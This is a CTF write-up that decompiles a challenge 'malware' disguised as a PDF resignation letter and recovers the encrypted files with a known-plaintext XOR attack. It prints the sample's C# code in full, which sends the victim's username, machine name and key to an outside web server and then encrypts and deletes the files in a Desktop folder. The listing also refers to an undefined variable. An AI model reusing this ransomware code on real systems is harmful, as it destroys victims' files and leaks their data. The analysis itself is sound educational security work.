Skip to content

Omegapoint CTF 2023 - Rev & Crypto - Operation XMAS

Posted on:January 1, 2024 at 02:55 PM

Challenge

Troubling news has surfaced! The missing elf has been colluding with the Grinch all along, leaving behind a treacherous puzzle. Disguised as a simple resignation letter, a devious malware has encrypted Santa’s precious gift list for this Christmas. Will you lend a hand in decrypting the list and saving the holiday joy?

The resignation letter and Santa’s encrypted files are attached below.

Solution

We got a file resignation_letter,pdf.exe and since it was an EXE i used a online tool to decomple the code.

https://www.decompiler.com/

The resulting decompiled C# code indicated that the real malware was in the DLL file PDF.XMAS.dll. So I decompiled that file as well.

Decompiling the DLL with the same tool gave me a the code I was looking for. What we are looking at here is the code that is encrypting the files. The code is using a 16 byte key to encrypt the files. The key is being sent to a web server.

The code is using a XOR encryption to encrypt the files. It stores the initial 16 bytes in a random array and then uses that array to encrypt the rest of the file at the first 16 bytes of the file. The rest of the code it uses the previous 16 bytes to encrypt the next 16 bytes.

using System;
using System.IO;
using System.Net;

namespace XMAS;

internal class Program
{
	private static readonly int _blockSize = 16;

	private static readonly string _path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Santa's Files");

	private static readonly string _url = "http://dont.worry.your.information.is.not.saved/";

	public static void RunOperation()
	{
		byte[] array = new byte[_blockSize];
		new Random().NextBytes(array);
		WebClient webClient = new WebClient();
		webClient.Headers[HttpRequestHeader.UserAgent] = "PDF";
		webClient.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
		string machineName = Environment.MachineName;
		string userName = Environment.UserName;
		string key = Convert.ToBase64String(array);
		try
		{
			webClient.UploadString(_url, "un=" + userName + "&mc=" + machineName + "&key=" + text);
		}
		catch
		{
		}
		EncryptFiles(array);
	}

	public static void EncryptFiles(byte[] key)
	{
		string[] files = Directory.GetFiles(_path);
		foreach (string obj in files)
		{
			File.WriteAllBytes(bytes: Encrypt(File.ReadAllBytes(obj), key), path: obj + ".enc");
			File.Delete(obj);
		}
	}

	public static byte[] XOREncrypt(byte[] data, byte[] key)
	{
		byte[] array = new byte[data.Length];
		for (int i = 0; i < data.Length; i++)
		{
			array[i] = (byte)(data[i] ^ key[i % key.Length]);
		}
		return array;
	}

	public static byte[] Encrypt(byte[] data, byte[] key)
	{
		byte[] array = new byte[_blockSize];
		new Random().NextBytes(array);
		byte[] array2 = new byte[data.Length + _blockSize + _blockSize - data.Length % _blockSize];
		Array.Copy(array, 0, array2, 0, _blockSize);
		for (int i = 0; i < data.Length; i += _blockSize)
		{
			byte[] array3 = new byte[_blockSize];
			Array.Copy(data, i, array3, 0, Math.Min(_blockSize, data.Length - i));
			array3 = XOREncrypt(XOREncrypt(array3, key), array);
			array = array3;
			Array.Copy(array3, 0, array2, i + 16, Math.Min(_blockSize, data.Length - i));
		}
		return array2;
	}
	
}

Now let’s crack this encryption. I’m no expert in CTF crypto challenges, but I know that you can attack a XOR encryption with a known plaintext attack. Since one of the files that was encrypted was a PDF file, I used the PDF header to attack the encryption. Slow and steady I was able to decrypt the PDF file.

To get the key to start encrypting the file I used the following formula.

blockData_new = ( blockData_old ^ encryptionKey) ^ initializationVector
blockData_new ^ initializationVector =  blockData_old ^ encryptionKey
blockData_new ^ initializationVector ^ blockData_old = encryptionKey
def find_encryption_key(block_data_new, initialization_vector, block_data_old):
    encryption_key = xor_encrypt(xor_encrypt(block_data_new, initialization_vector), block_data_old)
    return encryption_key

I knew that the first bytes would be %PDF-1.7 since the resignation letter PDF had this header. It would be wierd if the challenge creator switched out his PDF software between creating the two PDF files. After that I managed read some stuff in the PDF, but I still had to guess the rest of the key.

(AI tools was used to create the decrypt function)

final solve script

def xor_encrypt(data, key):
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

def decrypt(encrypted_data, encryption_key, block_size):
    initialization_vector = encrypted_data[:block_size]
    decrypted_data = bytearray()
    for i in range(block_size, len(encrypted_data), block_size):
        block_data = encrypted_data[i:i+block_size]
        decrypted_block = xor_encrypt(xor_encrypt(block_data, encryption_key), initialization_vector)
        initialization_vector = block_data
        decrypted_data.extend(decrypted_block)
    return decrypted_data

def find_encryption_key(block_data_new, initialization_vector, block_data_old):
    encryption_key = xor_encrypt(xor_encrypt(block_data_new, initialization_vector), block_data_old)
    return encryption_key

with open('presents_list.pdf.enc', 'rb') as f:
    encrypted_data = f.read()

# manual plaintext attack agains PDF file
# Update they key and check the decrypted PDF. Does the blocks make sense?
# Keep going champ!

known_plaintext = b"%PDF-1.7\x0d\x0a\x25\xb5\xb5\xb5\xb5\x0d".rjust(16, b'\x00')
print(known_plaintext, len(known_plaintext))

encryption_key = find_encryption_key(encrypted_data[16:16*2], encrypted_data[:16], known_plaintext)
block_size = 16

decrypted_data = decrypt(encrypted_data, encryption_key, block_size)

with open('decrypted_file.pdf', 'wb') as f:
    f.write(decrypted_data)

flag: OMEGAPOINT{f0rtun4t3ly_crypt0gr4phy_1s_n0t_4n_3lfs_str0ng3st_su1t}

Afterwords I also decrypted the image with the same key to make santa happy :)

christmas_presents_11122023.jpg